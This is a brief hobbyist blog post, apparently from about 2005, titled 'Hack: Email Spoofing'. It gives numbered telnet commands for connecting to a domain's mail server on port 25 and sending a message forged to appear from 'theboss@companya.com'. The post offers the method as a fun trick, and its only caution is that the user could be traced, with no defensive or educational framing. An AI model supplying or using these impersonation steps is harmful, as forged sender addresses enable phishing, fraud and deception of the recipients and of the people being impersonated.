Hack: Email Spoofing

http://www.datastronghold.com/content/view/81/29/

This is cool and very simple to do, email spoofing this way is easy, but of course I wouldn't do anything too stupid since this way is done through telent and can easily be traced backed to you.

Here are the steps summerized:

1. Open your command window: Start Menu -> Run -> cmd
2. Find the mail server your are going to use for the spoofing: http://centralops.net/co/DomainDossier.aspx
   with the DNS records selected, and then find the lowest type of MX server. Example: mx1.company.com
3. Type in the name that was the lowest in the command window: telnet mx1.companya.com 25
   You should get a response like: 220 mail.companya.com Microsoft ESMTP MAIL Service, Version: 6.0.3790.1830 ready at Tue, 19 Feb 2005 14:44:12 -0500
4. Type: hello companya.com
   The response should be echoed back.
5. Type: mail from: theboss@companya.com
6. Type: rcpt to: friendb@companya.com
7. Type: data
8. Type your message then hit then type the period '.' then enter again.
